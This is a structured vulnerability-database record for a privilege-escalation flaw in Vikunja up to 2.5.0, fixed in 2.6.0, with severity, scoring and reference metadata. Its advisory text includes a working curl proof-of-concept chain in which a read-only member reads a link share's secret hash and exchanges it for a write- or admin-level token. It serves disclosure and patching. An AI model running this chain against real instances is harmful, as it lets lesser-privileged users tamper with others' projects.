{"schema":"threatline.record/2","record":{"id":"CVE-2026-91985","aliases":["GHSA-qfwc-vx6f-3g6g","GO-2026-6747"],"summary":"Vikunja: Read-only project members can obtain any link share's access hash via the single-share read endpoint (v1 and v2) and escalate to the share's permission level","details":"## Summary\n\nA user who has only read permission on a project can call the single link-share read endpoint and receive the share's `hash` field — the secret credential that the anonymous `POST /shares/{share}/auth` endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.\n\n## Details\n\nAffected endpoints (both verified with a complete chain):\n\n- v1: `GET /api/v1/projects/{project}/shares/{share}`\n- v2: `GET /api/v2/projects/{project}/shares/{share}`\n\nPermission gate: `LinkSharing.CanRead` (`pkg/models/link_sharing_permissions.go`) delegates to `project.CanRead(s, a)` — i.e. any user with read access to the project passes. The response serializes the `hash` field (`pkg/models/link_sharing.go`, field tag `json:\"hash\"`), which is the share's bearer credential. The share `password` field is correctly cleared before returning, but the hash is not restricted.\n\nInconsistent with the sibling list endpoint `GET /projects/{project}/shares` (`LinkSharing.ReadAll`, `pkg/models/link_sharing.go:243-256`), which requires `project.IsAdmin` — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 `handler.DoReadOne` wrappers call the same `CanRead`), so both surfaces are affected.\n\nImpact chain: hash -> `POST /api/v1/shares/{hash}/auth` (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project.\n\nMitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharing_type=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.\n\n## PoC\n\nSteps below use two accounts: the owner (token `$OWNER`) and an attacker who has been granted read-only access to the project (token `$READER`). All requests were executed against a local Vikunja 2.5.0 instance.\n\n1. Owner creates a private project and a read-write link share (permission=1):\n\n```\ncurl -X PUT \"$BASE/api/v1/projects\" -H \"Authorization: Bearer $OWNER\" \\\n  -H 'Content-Type: application/json' -d '{\"title\":\"poc\"}'\n# -> {\"id\":123,...}\n\ncurl -X PUT \"$BASE/api/v1/projects/123/shares\" -H \"Authorization: Bearer $OWNER\" \\\n  -H 'Content-Type: application/json' -d '{\"name\":\"poc\",\"permission\":1}'\n# -> {\"id\":7,\"hash\":\"<SECRET_HASH>\",...}\n```\n\n2. Owner adds the attacker as a read-only member (permission=0):\n\n```\ncurl -X PUT \"$BASE/api/v1/projects/123/users\" -H \"Authorization: Bearer $OWNER\" \\\n  -H 'Content-Type: application/json' -d '{\"username\":\"attacker\",\"permission\":0}'\n```\n\n3. Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):\n\n```\ncurl \"$BASE/api/v1/projects/123/shares/7\" -H \"Authorization: Bearer $READER\"\n# -> 200 {\"id\":7,\"hash\":\"<SECRET_HASH>\",\"permission\":1,...}\n# v2 twin behaves identically:\ncurl \"$BASE/api/v2/projects/123/shares/7\" -H \"Authorization: Bearer $READER\"\n# -> 200 {\"hash\":\"<SECRET_HASH>\",...}\n```\n\n4. Attacker exchanges the hash for a link-share JWT (no authentication required):\n\n```\ncurl -X POST \"$BASE/api/v1/shares/<SECRET_HASH>/auth\" \\\n  -H 'Content-Type: application/json' -d '{}'\n# -> 200 {\"token\":\"<LINK_JWT>\",...}\n```\n\n5. Negative control — the attacker's own user token cannot write to the project:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects/123/tasks\" -H \"Authorization: Bearer $READER\" \\\n  -H 'Content-Type: application/json' -d '{\"title\":\"direct\"}'\n# -> 403 Forbidden\n```\n\n6. Escalation proof — the link-share JWT writes successfully:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects/123/tasks\" -H \"Authorization: Bearer <LINK_JWT>\" \\\n  -H 'Content-Type: application/json' -d '{\"title\":\"escalated\"}'\n# -> 201 Created\n```\n\nObserved result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).\n\n## Impact\n\nBroken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share's permission level: write members' tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project's shared secret. Suggested fix: require `project.IsAdmin` in `LinkSharing.CanRead` (aligning with `ReadAll`), or omit the `hash` field from responses to non-admin members.","categories":["Libraries & packages"],"product":"code.vikunja.io/api","vendor":"go-vikunja","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-qfwc-vx6f-3g6g","source_modified_at":"2026-10-09T20:51:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"code.vikunja.io/api"},"range":"<= 2.5.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-91985","source_modified_at":"2026-09-15T16:04:15.007Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vikunja","vendor":"go-vikunja","versions":[{"version":"0","status":"affected","versionType":"semver","lessThan":"2.6.0"},{"version":"2.6.0","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-qfwc-vx6f-3g6g","source_modified_at":"2026-10-19T21:40:54.885980828Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Go","name":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"2.6.0"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-qfwc-vx6f-3g6g","source_modified_at":"2026-10-09T20:51:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"code.vikunja.io/api"},"version":"2.6.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-91985","source_modified_at":"2026-09-15T16:04:15.007Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vikunja","ecosystem":null},"version":"2.6.0","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-qfwc-vx6f-3g6g","source_modified_at":"2026-10-19T21:40:54.885980828Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Go","name":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api"},"version":"2.6.0"}],"cvss":8.7,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00432,"percentile":0.36483,"score_date":"2026-10-23"},"published_at":"2026-09-15T15:18:28.282Z","modified_at":"2026-10-19T21:40:54.885980828Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-qfwc-vx6f-3g6g","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-09T20:51:30Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-91985","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-15T16:04:15.007Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-qfwc-vx6f-3g6g","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-19T21:40:54.885980828Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91985","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qfwc-vx6f-3g6g","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91985","source":"GitHub Advisory Database"},{"url":"https://github.com/go-vikunja/vikunja/pull/3688","source":"GitHub Advisory Database"},{"url":"https://github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2","source":"GitHub Advisory Database"},{"url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/vikunja-before-2.6.0-privilege-escalation-via-link-share-hash","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-qfwc-vx6f-3g6g","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","cvss_source":"CVE List","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-09-15T16:03:46.456174Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-19T21:40:54.885980828Z","content_hash":"88b2e8cc978b1dbd38d5f4c28620298f8522e4b5c9dc5061c4b775f8c8b6cfdf"}}